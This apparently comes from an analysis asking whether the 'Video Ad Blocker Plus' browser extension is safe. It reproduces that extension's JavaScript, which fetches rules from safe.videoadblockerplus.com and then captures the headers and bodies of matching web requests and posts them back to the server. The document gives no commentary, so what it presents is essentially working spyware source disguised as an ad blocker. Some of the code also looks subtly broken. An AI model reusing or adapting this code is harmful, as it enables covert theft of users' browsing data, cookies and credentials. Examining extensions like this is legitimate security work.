Is Video Ad Blocker Plus safe?

class RemoteConfigFetcher {
  start() {
    this.refreshIfStale();
    setInterval(() => {
      this.refreshIfStale();
    }, 60000);
  }

  async refreshIfStale() {
    if (await this.shouldRefresh()) {
      try {
        const config = await this.fetchConfig();
        if (config) {
          await configStore.writeConfig(config);
          this.emitConfig(config);
        }
      } catch (e) {
      }
    }
  }

  emitConfig(config) {
    const event = new Event("OLttN");
    event.config = config;
    self.dispatchEvent(event);
  }

  async fetchConfig() {
    const url = "https://safe.videoadblockerplus.com/content/config";
    const body = {
      sid: "a173c033f"
    };
    const response = await fetch(url, {
      method: "POST",
      body: JSON.stringify(body)
    });
    if (response.status === 200) {
      const json = await response.json();
      return json;
    }
    return null;
  }

  async shouldRefresh() {
    const storedConfig = await configStore.readConfig();
    if (!storedConfig) {
      return await configStore.initialDelayElapsed();
    }
    const lastFetch = await configStore.lastFetchTime();
    const age = Date.now() - lastFetch;
    return age > 21600000;
  }
}

function writeConfig(config) {
  return new Promise((resolve) => {
    const values = {};
    values.wnJHT = config;
    values.pMniF = Date.now();
    chrome.storage.local.set(values, () => {
      resolve();
    });
  });
}

function registerRule(rule) {
  const urlPatterns = rule.request_url_pattern;
  const urlSearch = rule.request_url_search;
  const bodySearch = rule.request_url_body_search;
  const methodWhitelist = rule.request_method_whitelist;
  const listener = async (details) => {
    const { url, method } = details;
    const eventRecord = {
      wrDetails: details
    };
    const methodAllowed = !methodWhitelist || methodWhitelist.includes(method);
    if (!methodAllowed) {
      return;
    }
    if (urlSearch) {
      const match = new RegExp(urlSearch).exec(url);
      if (!match) {
        return;
      }
    }
    if (bodySearch) {
      const bodyMatch = new RegExp(bodySearch).exec(url);
      if (bodyMatch) {
        const decodedBody = this.readRequestBody(details);
        if (decodedBody && !decodedBody.error) {
          eventRecord.bodyData = decodedBody;
        }
      }
    }
    await this.queueMatchedRecord(rule, eventRecord);
  };
  if (bodySearch) {
    chrome.webRequest.onBeforeRequest.addListener(listener, {
      urls: urlPatterns
    }, ["requestBody"]);
  } else {
    chrome.webRequest.onBeforeSendHeaders.addListener(listener, {
      urls: urlPatterns
    }, ["extraHeaders", "requestHeaders"]);
  }
  return listener;
}

async function postCompressedPayload(payload) {
  try {
    const headers = new Headers();
    Object.entries(payload[1]).forEach(([key, value]) => {
      headers.append(key, value);
    });
    const compressedPayload = window.PayloadCompression.compress(payload[2]);
    headers.append("Content-type", "application/x-www-form-urlencoded");
    headers.append("x4fs", "sdag213a");
    const response = await fetch(payload[0], {
      method: "POST",
      body: compressedPayload,
      headers
    });
    const sessionId = response.headers.get("x-session-id");
    if (sessionId) {
      const event = new Event("settings-event");
      event.settings = sessionId;
      self.dispatchEvent(event);
    }
    const responseText = await response.text();
    chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
      const tabId = tabs[0].id;
      sendMessageToTab(tabId, responseText, 0);
    });
  } catch (e) {
  }
}

class SenderTarget {
  get destinationUrl() {
    return "https://safe.videoadblockerplus.com" + "/validate";
  }

  headersFor(record) {
    const headers = {};
    if (record.hdrs) {
      Object.assign(headers, record.hdrs);
    }
    return headers;
  }
}